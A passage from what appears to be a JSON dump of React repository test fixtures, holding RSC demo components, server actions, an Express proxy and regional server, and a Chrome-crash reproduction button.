sodales.\n      </p>\n      <p>\n        Sed sit amet maximus lectus. Fusce id lorem quis mi sodales varius a\n        quis justo. Proin est dui, porta non nisl sodales, feugiat faucibus\n        nisl. Sed id ex consectetur, faucibus eros sit amet, efficitur quam. Ut\n        vitae venenatis urna, non convallis magna. Integer dapibus ac sem eget\n        dictum. Integer ut nisi tincidunt, sollicitudin dui vel, faucibus purus.\n        Nunc rhoncus turpis eget sem commodo, eu ornare lorem vulputate.\n        Praesent libero nunc, lacinia sit amet lectus vitae, eleifend hendrerit\n        diam. In nec lacus mattis, rutrum orci fermentum, vestibulum eros. Nunc\n        a lobortis purus.\n      </p>\n      <p>\n        Duis nisl diam, pharetra non leo id, facilisis sollicitudin tortor.\n        Donec efficitur augue lorem, lacinia scelerisque magna eleifend in.\n        Nulla vestibulum dolor nec fermentum maximus. Maecenas facilisis, nisi\n        at tempor eleifend, quam tortor ultricies tellus, id convallis enim\n        dolor nec sapien. Pellentesque sed blandit est. Morbi eu nisi\n        sollicitudin, elementum libero et, tempor justo. Donec et justo quis\n        dolor semper tempus et at arcu. Donec in sem id erat maximus feugiat.\n        Cras ultricies nisi turpis, vitae tincidunt sapien mollis ac. Maecenas\n        efficitur sed lectus a ullamcorper. Ut lacus tellus, viverra vel\n        consequat et, suscipit a urna. Proin id ultricies arcu. Etiam non\n        condimentum enim, sodales laoreet orci.\n      </p>\n      <p>\n        Aliquam bibendum bibendum ornare. Aliquam ultricies diam quis dui\n        maximus, nec dictum velit convallis. Proin tempor scelerisque libero ac\n        convallis. Cras sollicitudin dignissim ipsum quis iaculis. Sed aliquam\n        congue magna, vitae malesuada ipsum dignissim porttitor. Maecenas libero\n        ante, faucibus nec pretium ut, sollicitudin sit amet neque. Donec\n        sodales risus neque, a tincidunt purus ultrices quis. In mattis nisi\n        ipsum, et lacinia dui suscipit ac. Donec dictum, dolor id tincidunt\n        accumsan, tortor lorem posuere nisl, id consequat dui nisi fringilla\n        nisi. Fusce arcu justo, ornare nec vehicula eget, egestas tincidunt\n        lorem. Nunc dignissim lobortis velit, id efficitur magna aliquam id.\n        Donec at massa at purus elementum ornare. Cras id finibus sapien. In hac\n        habitasse platea dictumst.\n      </p>\n      <p>\n        Class aptent taciti sociosqu ad litora torquent per conubia nostra, per\n        inceptos himenaeos. Nunc et urna leo. Etiam mattis ornare eros. Etiam\n        aliquet nibh orci, in iaculis orci pretium id. Etiam nibh elit, viverra\n        non viverra eu, imperdiet eu tellus. Pellentesque lobortis leo a finibus\n        cursus. Orci varius natoque penatibus et magnis dis parturient montes,\n        nascetur ridiculus mus. Donec tristique tempor tristique. Morbi iaculis\n        posuere aliquet. Donec mattis sed dui a fringilla. Sed urna tellus,\n        pulvinar in mollis ut, congue vel risus.\n      </p>\n      <p>\n        Nullam scelerisque quam at lorem tempus, sed vulputate dui venenatis.\n        Donec porttitor, tellus at vehicula laoreet, lacus nulla consectetur\n        nisi, ut posuere massa turpis a arcu. Quisque tellus arcu, consectetur\n        vitae molestie eu, posuere vitae nunc. Sed vestibulum justo ultricies\n        magna rutrum molestie. Pellentesque lobortis erat vel fermentum\n        faucibus. Phasellus in arcu sit amet quam tincidunt sollicitudin quis\n        sed ipsum. Nullam bibendum ac metus et mollis. Nunc tempor vel mi id\n        fermentum. Morbi maximus turpis lobortis, pretium nibh ac, blandit\n        metus. In elementum nisl ac ex maximus, in commodo libero egestas. Morbi\n        molestie cursus massa, laoreet tempor tortor vestibulum venenatis.\n        Curabitur semper fringilla dolor, ut sagittis lorem elementum ut.\n      </p>\n      <p>\n        Duis porttitor massa nulla, id congue erat luctus at. Aliquam id\n        tristique quam. Morbi pharetra scelerisque elit. Donec porttitor ipsum\n        vitae risus hendrerit faucibus. Praesent finibus placerat leo nec\n        facilisis. Vestibulum ante ipsum primis in faucibus orci luctus et\n        ultrices posuere cubilia curae; Proin molestie interdum turpis id\n        ornare. Ut vestibulum libero in magna porta, sed porta dolor viverra.\n      </p>\n      <p>\n        Duis eget congue orci, ac malesuada leo. Fusce ut mattis nibh. Ut\n        pretium lectus in neque hendrerit, ut eleifend neque ultrices. Nam id\n        sollicitudin est. Suspendisse eget vehicula urna, a eleifend diam.\n        Aenean nibh nisl, finibus ullamcorper cursus sit amet, efficitur gravida\n        nulla. Proin leo massa, volutpat sit amet dolor ut, suscipit rutrum\n        justo. Proin nec elit blandit, porttitor ipsum sed, sodales ipsum. In\n        venenatis dolor lacus. Vestibulum et volutpat augue. Cras vehicula sem\n        ac augue vestibulum, id feugiat elit consectetur. Nullam consectetur\n        elit enim, eget aliquam eros venenatis eget.\n      </p>\n      <p>\n        Donec sodales ipsum ut ante aliquam, non molestie massa faucibus.\n        Aliquam eget vehicula metus. Aenean lacinia nulla quis nulla ultricies\n        tristique. Vestibulum sit amet consequat nunc. Nullam sagittis dolor at\n        sodales varius. Integer odio eros, sodales quis orci id, commodo luctus\n        diam. Nullam dapibus ullamcorper lobortis. Suspendisse posuere ipsum\n        ipsum, ac ultrices quam porttitor quis. Maecenas auctor justo et egestas\n        congue. Etiam pharetra libero eget nisl rhoncus congue. Cras vehicula\n        dolor finibus tortor dignissim ultrices.\n      </p>\n      <p>\n        Vestibulum quis aliquet neque, non pretium ligula. Donec imperdiet\n        tellus nec dolor accumsan, at congue ante euismod. Praesent egestas ac\n        lectus in auctor. Praesent euismod faucibus enim eget vulputate. Lorem\n        ipsum dolor sit amet, consectetur adipiscing elit. Nunc vitae convallis\n        tortor. Sed eleifend tellus quis nisl faucibus, sit amet aliquet tellus\n        placerat. Morbi ultrices enim mauris, et tincidunt lorem semper sed.\n      </p>\n      <p>\n        Duis tincidunt ligula lacus, a cursus tortor tincidunt ac. Duis nulla\n        nulla, viverra sit amet augue vitae, lobortis consequat nibh. Morbi\n        dignissim, est nec consequat elementum, dolor est tempus velit, eu\n        laoreet mauris nibh eu nunc. Aenean finibus at justo eget consectetur.\n        Nam cursus sem felis, vitae blandit quam tincidunt sed. Praesent\n        bibendum luctus enim ut tempor. Phasellus tincidunt lectus vel laoreet\n        elementum. Maecenas sed quam sodales, porttitor augue in, faucibus eros.\n        Cras lacinia tortor sed lacus auctor, sit amet imperdiet dolor\n        hendrerit.\n      </p>\n      <p>\n        Aliquam vel porta libero. In nec aliquam nisi. Donec pulvinar sapien\n        lacus, eu condimentum enim vestibulum eu. Aliquam erat volutpat. Aliquam\n        erat volutpat. Integer ac nisl ipsum. Nulla at congue quam. Etiam nec\n        libero ac dolor efficitur sodales ut et diam. Cras in sodales dolor.\n        Quisque elementum mattis elit non sagittis.\n      </p>\n      <p>\n        Aliquam maximus nisl semper tristique blandit. Vivamus et porttitor\n        urna. Nulla facilisi. Nullam vitae condimentum purus. Lorem ipsum dolor\n        sit amet, consectetur adipiscing elit. Nulla dignissim dolor id felis\n        pellentesque, quis sodales dolor tincidunt. Morbi non posuere est.\n        Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere\n        cubilia curae;\n      </p>\n      <p>\n        Fusce nec metus sit amet ligula pulvinar lobortis. Suspendisse dictum\n        lorem vitae quam tempor facilisis. Duis cursus eu lacus in volutpat.\n        Suspendisse fermentum nulla a purus vestibulum, in blandit lacus\n        hendrerit. Praesent rhoncus, nulla non varius dapibus, sapien nulla\n        blandit lorem, a aliquet ex ligula a sapien. Vivamus ac tortor\n        ultricies, molestie ex vitae, placerat elit. Ut lobortis nisl nec sapien\n        pretium ullamcorper convallis sed tortor. Suspendisse blandit urna eu\n        dolor pharetra, a pretium nibh consequat. Integer at vulputate erat. Nam\n        in mi urna. Aenean lectus mauris, condimentum in porttitor et, posuere\n        vitae elit. Aenean tempor ipsum ut pharetra porta.\n      </p>\n      <p>\n        Fusce efficitur elementum lectus, vitae euismod leo luctus quis. Duis\n        faucibus, metus non rhoncus ornare, neque sapien pretium nisi, ut\n        ullamcorper massa justo at turpis. Maecenas vestibulum facilisis nulla\n        vel tristique. Aliquam vitae mi dolor. Aliquam imperdiet ullamcorper\n        auctor. Sed nibh nulla, imperdiet vel sagittis in, dapibus a turpis. Ut\n        pulvinar ac dolor ac euismod. Morbi quis euismod nisl, sagittis interdum\n        velit. Integer condimentum quam ac quam malesuada, in ultrices risus\n        pulvinar.\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "fixtures/flight/src/Navigate.js",
    "content": "'use client';\n\nimport * as React from 'react';\nimport Container from './Container.js';\n\nexport function Navigate() {\n  /** Repro for https://issues.chromium.org/u/1/issues/419746417 */\n  function provokeChromeCrash() {\n    React.startTransition(async () => {\n      console.log('Default transition triggered');\n\n      await new Promise(resolve => {\n        setTimeout(\n          () => {\n            history.pushState(\n              {},\n              '',\n              `?chrome-crash-419746417=${performance.now()}`\n            );\n          },\n          // This needs to happen before React's default transition indicator\n          // is displayed but after it's scheduled.\n          100 + -50\n        );\n\n        setTimeout(() => {\n          console.log('Default transition completed');\n          resolve();\n        }, 1000);\n      });\n    });\n  }\n\n  return (\n    <Container>\n      <h2>Navigation fixture</h2>\n      <button onClick={provokeChromeCrash}>Provoke Chrome Crash (fixed)</button>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "fixtures/flight/src/ServerState.js",
    "content": "let serverState = 'Hello World';\n\nexport function setServerState(message) {\n  serverState = message;\n}\n\nexport function getServerState() {\n  return serverState;\n}\n"
  },
  {
    "path": "fixtures/flight/src/ShowMore.js",
    "content": "'use client';\n\nimport * as React from 'react';\n\nimport Container from './Container.js';\n\nexport default function ShowMore({children}) {\n  const [show, setShow] = React.useState(false);\n  if (!show) {\n    return <button onClick={() => setShow(true)}>Show More</button>;\n  }\n  return <Container>{children}</Container>;\n}\n"
  },
  {
    "path": "fixtures/flight/src/actions.js",
    "content": "'use server';\n\nimport {setServerState} from './ServerState.js';\n\nasync function sleep(ms) {\n  return new Promise(resolve => setTimeout(resolve, ms));\n}\n\nexport async function like() {\n  // Test loading state\n  await sleep(1000);\n  setServerState('Liked!');\n  return new Promise((resolve, reject) => resolve('Liked'));\n}\n\nexport async function greet(formData) {\n  const name = formData.get('name') || 'you';\n  setServerState('Hi ' + name);\n  const file = formData.get('file');\n  if (file) {\n    return `Ok, ${name}, here is ${file.name}:\n      ${(await file.text()).toUpperCase()}\n    `;\n  }\n  return 'Hi ' + name + '!';\n}\n\nexport async function increment(n) {\n  // Test loading state\n  await sleep(1000);\n  return n + 1;\n}\n"
  },
  {
    "path": "fixtures/flight/src/cjs/Counter3.js",
    "content": "\"use client\";\n// CJS-ESM async module\nmodule.exports = import('../Counter.js').then(m => {\n  return m.Counter\n});\n"
  },
  {
    "path": "fixtures/flight/src/cjs/Note.js",
    "content": "'use client';\n\nvar React = require('react');\n\nfunction Note() {\n  return 'This component was exported on a commonJS module and imported into ESM as a named import.';\n}\n\nmodule.exports = {\n  Note,\n};\n"
  },
  {
    "path": "fixtures/flight/src/cjs/package.json",
    "content": "{\n  \"type\":\"commonjs\"\n}"
  },
  {
    "path": "fixtures/flight/src/index.js",
    "content": "import {use, Suspense, useState, startTransition, Profiler} from 'react';\nimport ReactDOM from 'react-dom/client';\nimport {createFromFetch, encodeReply} from 'react-server-dom-webpack/client';\n\n// TODO: This should be a dependency of the App but we haven't implemented CSS in Node yet.\nimport './style.css';\n\nfunction findSourceMapURL(fileName) {\n  return (\n    document.location.origin +\n    '/source-maps?name=' +\n    encodeURIComponent(fileName)\n  );\n}\n\nasync function createWebSocketStream(url) {\n  const ws = new WebSocket(url);\n  ws.binaryType = 'arraybuffer';\n\n  await new Promise((resolve, reject) => {\n    ws.addEventListener('open', resolve, {once: true});\n    ws.addEventListener('error', reject, {once: true});\n  });\n\n  const writable = new WritableStream({\n    write(chunk) {\n      ws.send(chunk);\n    },\n    close() {\n      ws.close();\n    },\n    abort(reason) {\n      ws.close(1000, reason && String(reason));\n    },\n  });\n\n  const readable = new ReadableStream({\n    start(controller) {\n      ws.addEventListener('message', event => {\n        controller.enqueue(event.data);\n      });\n      ws.addEventListener('close', () => {\n        controller.close();\n      });\n      ws.addEventListener('error', err => {\n        controller.error(err);\n      });\n    },\n  });\n\n  return {readable, writable};\n}\n\nlet updateRoot;\nasync function callServer(id, args) {\n  let response;\n  if (process.env.NODE_ENV === 'development') {\n    const requestId = crypto.randomUUID();\n    const debugChannel = await createWebSocketStream(\n      `ws://localhost:3001/debug-channel?id=${requestId}`\n    );\n    response = createFromFetch(\n      fetch('/', {\n        method: 'POST',\n        headers: {\n          Accept: 'text/x-component',\n          'rsc-action': id,\n          'rsc-request-id': requestId,\n        },\n        body: await encodeReply(args),\n      }),\n      {\n        callServer,\n        debugChannel,\n        findSourceMapURL,\n      }\n    );\n  } else {\n    response = createFromFetch(\n      fetch('/', {\n        method: 'POST',\n        headers: {\n          Accept: 'text/x-component',\n          'rsc-action': id,\n        },\n        body: await encodeReply(args),\n      }),\n      {\n        callServer,\n        findSourceMapURL,\n      }\n    );\n  }\n  const {returnValue, root} = await response;\n  // Refresh the tree with the new RSC payload.\n  startTransition(() => {\n    updateRoot(root);\n  });\n  return returnValue;\n}\n\nfunction Shell({data}) {\n  const [root, setRoot] = useState(data);\n  updateRoot = setRoot;\n  return root;\n}\n\nasync function hydrateApp() {\n  let response;\n  if (process.env.NODE_ENV === 'development') {\n    const requestId = crypto.randomUUID();\n    const debugChannel = await createWebSocketStream(\n      `ws://localhost:3001/debug-channel?id=${requestId}`\n    );\n    response = createFromFetch(\n      fetch('/', {\n        headers: {\n          Accept: 'text/x-component',\n          'rsc-request-id': requestId,\n        },\n      }),\n      {\n        callServer,\n        debugChannel,\n        findSourceMapURL,\n      }\n    );\n  } else {\n    response = createFromFetch(\n      fetch('/', {\n        headers: {\n          Accept: 'text/x-component',\n        },\n      }),\n      {\n        callServer,\n        findSourceMapURL,\n      }\n    );\n  }\n  const {root, returnValue, formState} = await response;\n\n  ReactDOM.hydrateRoot(\n    document,\n    <Profiler id=\"root\">\n      <Shell data={root} />\n    </Profiler>,\n    {\n      // TODO: This part doesn't actually work because the server only returns\n      // form state during the request that submitted the form. Which means it\n      // the state needs to be transported as part of the HTML stream. We intend\n      // to add a feature to Fizz for this, but for now it's up to the\n      // metaframework to implement correctly.\n      formState: formState,\n    }\n  );\n}\n\n// Remove this line to simulate MPA behavior\nhydrateApp();\n"
  },
  {
    "path": "fixtures/flight/src/library.js",
    "content": "export async function sdkMethod(input, init) {\n  return fetch(input, init).then(async response => {\n    await new Promise(resolve => {\n      setTimeout(resolve, 10);\n    });\n\n    return response;\n  });\n}\n"
  },
  {
    "path": "fixtures/flight/src/style.css",
    "content": "body {\n  font-family: Helvetica;\n}"
  },
  {
    "path": "fixtures/flight-esm/.gitignore",
    "content": "# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.\n\n# dependencies\n/node_modules\n/.pnp\n.pnp.js\n\n# testing\n/coverage\n\n# misc\n.DS_Store\n.env.local\n.env.development.local\n.env.test.local\n.env.production.local\n\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n"
  },
  {
    "path": "fixtures/flight-esm/.nvmrc",
    "content": "v20.19.0\n"
  },
  {
    "path": "fixtures/flight-esm/loader/package.json",
    "content": "{\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "fixtures/flight-esm/loader/region.js",
    "content": "import {\n  resolve,\n  load as reactLoad,\n  getSource as getSourceImpl,\n  transformSource as reactTransformSource,\n} from 'react-server-dom-esm/node-loader';\n\nexport {resolve};\n\nasync function textLoad(url, context, defaultLoad) {\n  const {format} = context;\n  const result = await defaultLoad(url, context, defaultLoad);\n  if (result.format === 'module') {\n    if (typeof result.source === 'string') {\n      return result;\n    }\n    return {\n      source: Buffer.from(result.source).toString('utf8'),\n      format: 'module',\n    };\n  }\n  return result;\n}\n\nexport async function load(url, context, defaultLoad) {\n  return await reactLoad(url, context, (u, c) => {\n    return textLoad(u, c, defaultLoad);\n  });\n}\n\nasync function textTransformSource(source, context, defaultTransformSource) {\n  const {format} = context;\n  if (format === 'module') {\n    if (typeof source === 'string') {\n      return {source};\n    }\n    return {\n      source: Buffer.from(source).toString('utf8'),\n    };\n  }\n  return defaultTransformSource(source, context, defaultTransformSource);\n}\n\nasync function transformSourceImpl(source, context, defaultTransformSource) {\n  return await reactTransformSource(source, context, (s, c) => {\n    return textTransformSource(s, c, defaultTransformSource);\n  });\n}\n\nexport const transformSource =\n  process.version < 'v16' ? transformSourceImpl : undefined;\nexport const getSource = process.version < 'v16' ? getSourceImpl : undefined;\n"
  },
  {
    "path": "fixtures/flight-esm/package.json",
    "content": "{\n  \"name\": \"flight-esm\",\n  \"type\": \"module\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"dependencies\": {\n    \"body-parser\": \"^1.20.1\",\n    \"browserslist\": \"^4.18.1\",\n    \"busboy\": \"^1.6.0\",\n    \"compression\": \"^1.7.4\",\n    \"concurrently\": \"^7.3.0\",\n    \"nodemon\": \"^2.0.19\",\n    \"prompts\": \"^2.4.2\",\n    \"react\": \"experimental\",\n    \"react-dom\": \"experimental\",\n    \"undici\": \"^5.20.0\",\n    \"webpack-sources\": \"^3.2.0\"\n  },\n  \"scripts\": {\n    \"predev\": \"cp -r ../../build/oss-experimental/* ./node_modules/ && rm -rf node_modules/.cache;\",\n    \"prestart\": \"cp -r ../../build/oss-experimental/* ./node_modules/ && rm -rf node_modules/.cache;\",\n    \"dev\": \"concurrently \\\"npm run dev:region\\\" \\\"npm run dev:global\\\"\",\n    \"dev:global\": \"NODE_ENV=development BUILD_PATH=dist node server/global\",\n    \"dev:region\": \"NODE_ENV=development BUILD_PATH=dist nodemon --watch src --watch dist -- --enable-source-maps --experimental-loader ./loader/region.js --conditions=react-server server/region\",\n    \"start\": \"concurrently \\\"npm run start:region\\\" \\\"npm run start:global\\\"\",\n    \"start:global\": \"NODE_ENV=production node server/global\",\n    \"start:region\": \"NODE_ENV=production node --experimental-loader ./loader/region.js --conditions=react-server server/region\"\n  }\n}\n"
  },
  {
    "path": "fixtures/flight-esm/server/global.js",
    "content": "'use strict';\n\n// This is a server to host CDN distributed resources like module source files and SSR\n\nconst path = require('path');\nconst url = require('url');\n\nconst fs = require('fs').promises;\nconst compress = require('compression');\nconst chalk = require('chalk');\nconst express = require('express');\nconst http = require('http');\nconst React = require('react');\n\nconst {renderToPipeableStream} = require('react-dom/server');\nconst {createFromNodeStream} = require('react-server-dom-esm/client');\n\nconst moduleBasePath = new URL('../src', url.pathToFileURL(__filename)).href;\n\nconst app = express();\n\napp.use(compress());\n\nfunction request(options, body) {\n  return new Promise((resolve, reject) => {\n    const req = http.request(options, res => {\n      resolve(res);\n    });\n    req.on('error', e => {\n      reject(e);\n    });\n    body.pipe(req);\n  });\n}\n\napp.all('/', async function (req, res, next) {\n  // Proxy the request to the regional server.\n  const proxiedHeaders = {\n    'X-Forwarded-Host': req.hostname,\n    'X-Forwarded-For': req.ips,\n    'X-Forwarded-Port': 3000,\n    'X-Forwarded-Proto': req.protocol,\n  };\n  // Proxy other headers as desired.\n  if (req.get('rsc-action')) {\n    proxiedHeaders['Content-type'] = req.get('Content-type');\n    proxiedHeaders['rsc-action'] = req.get('rsc-action');\n  } else if (req.get('Content-type')) {\n    proxiedHeaders['Content-type'] = req.get('Content-type');\n  }\n\n  const promiseForData = request(\n    {\n      host: '127.0.0.1',\n      port: 3001,\n      method: req.method,\n      path: '/',\n      headers: proxiedHeaders,\n    },\n    req\n  );\n\n  if (req.accepts('text/html')) {\n    try {\n      const rscResponse = await promiseForData;\n      const moduleBaseURL = '/src';\n\n      // For HTML, we're a \"client\" emulator that runs the client code,\n      // so we start by consuming the RSC payload. This needs the local file path\n      // to load the source files from as well as the URL path for preloads.\n\n      let root;\n      let Root = () => {\n        if (root) {\n          return React.use(root);\n        }\n\n        return React.use(\n          (root = createFromNodeStream(\n            rscResponse,\n            moduleBasePath,\n            moduleBaseURL\n          ))\n        );\n      };\n      // Render it into HTML by resolving the client components\n      res.set('Content-type', 'text/html');\n      const {pipe} = renderToPipeableStream(React.createElement(Root), {\n        importMap: {\n          imports: {\n            react: 'https://esm.sh/react@experimental?pin=v124&dev',\n            'react-dom': 'https://esm.sh/react-dom@experimental?pin=v124&dev',\n            'react-dom/': 'https://esm.sh/react-dom@experimental&pin=v124&dev/',\n            'react-server-dom-esm/client':\n              '/node_modules/react-server-dom-esm/esm/react-server-dom-esm-client.browser.development.js',\n          },\n        },\n        bootstrapModules: ['/src/index.js'],\n      });\n      pipe(res);\n    } catch (e) {\n      console.error(`Failed to SSR: ${e.stack}`);\n      res.statusCode = 500;\n      res.end();\n    }\n  } else {\n    try {\n      const rscResponse = await promiseForData;\n\n      // For other request, we pass-through the RSC payload.\n      res.set('Content-type', 'text/x-component');\n      rscResponse.on('data', data => {\n        res.write(data);\n        res.flush();\n      });\n      rscResponse.on('end', data => {\n        res.end();\n      });\n    } catch (e) {\n      console.error(`Failed to proxy request: ${e.stack}`);\n      res.statusCode = 500;\n      res.end();\n    }\n  }\n});\n\napp.use(express.static('public'));\napp.use('/src', express.static('src'));\napp.use(\n  '/node_modules/react-server-dom-esm/esm',\n  express.static('node_modules/react-server-dom-esm/esm')\n);\n\nif (process.env.NODE_ENV === 'development') {\n  app.get('/source-maps', async function (req, res, next) {\n    // Proxy the request to the regional server.\n    const proxiedHeaders = {\n      'X-Forwarded-Host': req.hostname,\n      'X-Forwarded-For': req.ips,\n      'X-Forwarded-Port': 3000,\n      'X-Forwarded-Proto': req.protocol,\n    };\n\n    const promiseForData = request(\n      {\n        host: '127.0.0.1',\n        port: 3001,\n        method: req.method,\n        path: req.originalUrl,\n        headers: proxiedHeaders,\n      },\n      req\n    );\n\n    try {\n      const rscResponse = await promiseForData;\n      res.set('Content-type', 'application/json');\n      rscResponse.on('data', data => {\n        res.write(data);\n        res.flush();\n      });\n      rscResponse.on('end', data => {\n        res.end();\n      });\n    } catch (e) {\n      console.error(`Failed to proxy request: ${e.stack}`);\n      res.statusCode = 500;\n      res.end();\n    }\n  });\n}\n\napp.listen(3000, () => {\n  console.log('Global Fizz/Webpack Server listening on port 3000...');\n});\n\napp.on('error', function (error) {\n  if (error.syscall !== 'listen') {\n    throw error;\n  }\n\n  switch (error.code) {\n    case 'EACCES':\n      console.error('port 3000 requires elevated privileges');\n      process.exit(1);\n      break;\n    case 'EADDRINUSE':\n      console.error('Port 3000 is already in use');\n      process.exit(1);\n      break;\n    default:\n      throw error;\n  }\n});\n"
  },
  {
    "path": "fixtures/flight-esm/server/package.json",
    "content": "{\n  \"type\": \"commonjs\"\n}\n"
  },
  {
    "path": "fixtures/flight-esm/server/region.js",
    "content": "'use strict';\n\n// This is a server to host data-local resources like databases and RSC\n\nconst path = require('path');\nconst url = require('url');\n\nif (typeof fetch === 'undefined') {\n  // Patch fetch for earlier Node versions.\n  global.fetch = require('undici').fetch;\n}\n\nconst express = require('express');\nconst bodyParser = require('body-parser');\nconst busboy = require('busboy');\nconst app = express();\nconst compress = require('compression');\nconst {Readable} = require('node:stream');\n\nconst nodeModule = require('node:module');\n\napp.use(compress());\n\n// Application\n\nconst {readFile} = require('fs').promises;\n\nconst React = require('react');\n\nconst moduleBasePath = new URL('../src', url.pathToFileURL(__filename)).href;\n\nasync function renderApp(res, returnValue) {\n  const {renderToPipeableStream} = await import('react-server-dom-esm/server');\n  const m = await import('../src/App.js');\n\n  const App = m.default;\n  const root = React.createElement(App);\n  // For client-invoked server actions we refresh the tree and return a return value.\n  const payload = returnValue ? {returnValue, root} : root;\n  const {pipe} = renderToPipeableStream(payload, moduleBasePath);\n  pipe(res);\n}\n\napp.get('/', async function (req, res) {\n  await renderApp(res, null);\n});\n\napp.post('/', bodyParser.text(), async function (req, res) {\n  const {\n    renderToPipeableStream,\n    decodeReply,\n    decodeReplyFromBusboy,\n    decodeAction,\n  } = await import('react-server-dom-esm/server');\n  const serverReference = req.get('rsc-action');\n  if (serverReference) {\n    // This is the client-side case\n    const [filepath, name] = serverReference.split('#');\n    const action = (await import(filepath))[name];\n    // Validate that this is actually a function we intended to expose and\n    // not the client trying to invoke arbitrary functions. In a real app,\n    // you'd have a manifest verifying this before even importing it.\n    if (action.$$typeof !== Symbol.for('react.server.reference')) {\n      throw new Error('Invalid action');\n    }\n\n    let args;\n    if (req.is('multipart/form-data')) {\n      // Use busboy to streamingly parse the reply from form-data.\n      const bb = busboy({headers: req.headers});\n      const reply = decodeReplyFromBusboy(bb, moduleBasePath);\n      req.pipe(bb);\n      args = await reply;\n    } else {\n      args = await decodeReply(req.body, moduleBasePath);\n    }\n    const result = action.apply(null, args);\n    try {\n      // Wait for any mutations\n      await result;\n    } catch (x) {\n      // We handle the error on the client\n    }\n    // Refresh the client and return the value\n    renderApp(res, result);\n  } else {\n    // This is the progressive enhancement case\n    const UndiciRequest = require('undici').Request;\n    const fakeRequest = new UndiciRequest('http://localhost', {\n      method: 'POST',\n      headers: {'Content-Type': req.headers['content-type']},\n      body: Readable.toWeb(req),\n      duplex: 'half',\n    });\n    const formData = await fakeRequest.formData();\n    const action = await decodeAction(formData, moduleBasePath);\n    try {\n      // Wait for any mutations\n      await action();\n    } catch (x) {\n      const {setServerState} = await import('../src/ServerState.js');\n      setServerState('Error: ' + x.message);\n    }\n    renderApp(res, null);\n  }\n});\n\napp.get('/todos', function (req, res) {\n  res.json([\n    {\n      id: 1,\n      text: 'Shave yaks',\n    },\n    {\n      id: 2,\n      text: 'Eat kale',\n    },\n  ]);\n});\n\nif (process.env.NODE_ENV === 'development') {\n  const rootDir = path.resolve(__dirname, '../');\n\n  app.get('/source-maps', async function (req, res, next) {\n    try {\n      res.set('Content-type', 'application/json');\n      let requestedFilePath = req.query.name;\n\n      let isCompiledOutput = false;\n      if (requestedFilePath.startsWith('file://')) {\n        // We assume that if it was prefixed with file:// it's referring to the compiled output\n        // and if it's a direct file path we assume it's source mapped back to original format.\n        isCompiledOutput = true;\n        requestedFilePath = url.fileURLToPath(requestedFilePath);\n      }\n\n      const relativePath = path.relative(rootDir, requestedFilePath);\n      if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {\n        // This is outside the root directory of the app. Forbid it to be served.\n        res.status = 403;\n        res.write('{}');\n        res.end();\n        return;\n      }\n\n      const sourceMap = nodeModule.findSourceMap(requestedFilePath);\n      let map;\n      if (requestedFilePath.startsWith('node:')) {\n        // This is a node internal. We don't include any source code for this but we still\n        // generate a source map for it so that we can add it to an ignoreList automatically.\n        map = {\n          version: 3,\n          // We use the node:// protocol convention to teach Chrome DevTools that this is\n          // on a different protocol and not part of the current page.\n          sources: ['node:///' + requestedFilePath.slice(5)],\n          sourcesContent: ['// Node Internals'],\n          mappings: 'AAAA',\n          ignoreList: [0],\n          sourceRoot: '',\n        };\n      } else if (!sourceMap || !isCompiledOutput) {\n        // If a file doesn't have a source map, such as this file, then we generate a blank\n        // source map that just contains the original content and segments pointing to the\n        // original lines. If a line number points to uncompiled output, like if source mapping\n        // was already applied we also use this path.\n        const sourceContent = await readFile(requestedFilePath, 'utf8');\n        const lines = sourceContent.split('\\n').length;\n        // We ensure to absolute\n        const sourceURL = url.pathToFileURL(requestedFilePath);\n        map = {\n          version: 3,\n          sources: [sourceURL],\n          sourcesContent: [sourceContent],\n          // Note: This approach to mapping each line only lets you jump to each line\n          // not jump to a column within a line. To do that, you need a proper source map\n          // generated for each parsed segment or add a segment for each column.\n          mappings: 'AAAA' + ';AACA'.repeat(lines - 1),\n          sourceRoot: '',\n          // Add any node_modules to the ignore list automatically.\n          ignoreList: requestedFilePath.includes('node_modules')\n            ? [0]\n            : undefined,\n        };\n      } else {\n        // We always set prepareStackTrace before reading the stack so that we get the stack\n        // without source maps applied. Therefore we have to use the original source map.\n        // If something read .stack before we did, we might observe the line/column after\n        // source mapping back to the original file. We use the isCompiledOutput check above\n        // in that case.\n        map = sourceMap.payload;\n      }\n      res.write(JSON.stringify(map));\n      res.end();\n    } catch (x) {\n      res.status = 500;\n      res.write('{}');\n      res.end();\n      console.error(x);\n    }\n  });\n}\n\napp.listen(3001, () => {\n  console.log('Regional Flight Server listening on port 3001...');\n});\n\napp.on('error', function (error) {\n  if (error.syscall !== 'listen') {\n    throw error;\n  }\n\n  switch (error.code) {\n    case 'EACCES':\n      console.error('port 3001 requires elevated privileges');\n      process.exit(1);\n      break;\n    case 'EADDRINUSE':\n      console.error('Port 3001 is already in use');\n      process.exit(1);\n      break;\n    default:\n      throw error;\n  }\n});\n"
  },
  {
    "path": "fixtures/flight-esm/src/App.js",
    "content": "import * as React from 'react';\n\nimport Button from './Button.js';\nimport Form from './Form.js';\n\nimport {like, greet} from './actions.js';\n\nimport {getServerState} from './ServerState.js';\n\nconst h = React.createElement;\n\nexport default async function App() {\n  const res = await fetch('http://localhost:3001/todos');\n  const todos = await res.json();\n  return h(\n    'html',\n    {\n      lang: 'en',\n    },\n    h(\n      'head',\n      null,\n      h('meta', {\n        charSet: 'utf-8',\n      }),\n      h('meta', {\n        name: 'viewport',\n        content: 'width=device-width, initial-scale=1',\n      }),\n      h('title', null, 'Flight'),\n      h('link', {\n        rel: 'stylesheet',\n        href: '/src/style.css',\n        precedence: 'default',\n      })\n    ),\n    h(\n      'body',\n      null,\n      h(\n        'div',\n        null,\n        h('h1', null, getServerState()),\n        h(\n          'ul',\n          null,\n          todos.map(todo =>\n            h(\n              'li',\n              {\n                key: todo.id,\n              },\n              todo.text\n            )\n          )\n        ),\n        h(Form, {\n          action: greet,\n        }),\n        h(\n          'div',\n          null,\n          h(\n            Button,\n            {\n              action: like,\n            },\n            'Like'\n          )\n        )\n      )\n    )\n  );\n}\n"
  },
  {
    "path": "fixtures/flight-esm/src/Button.js",
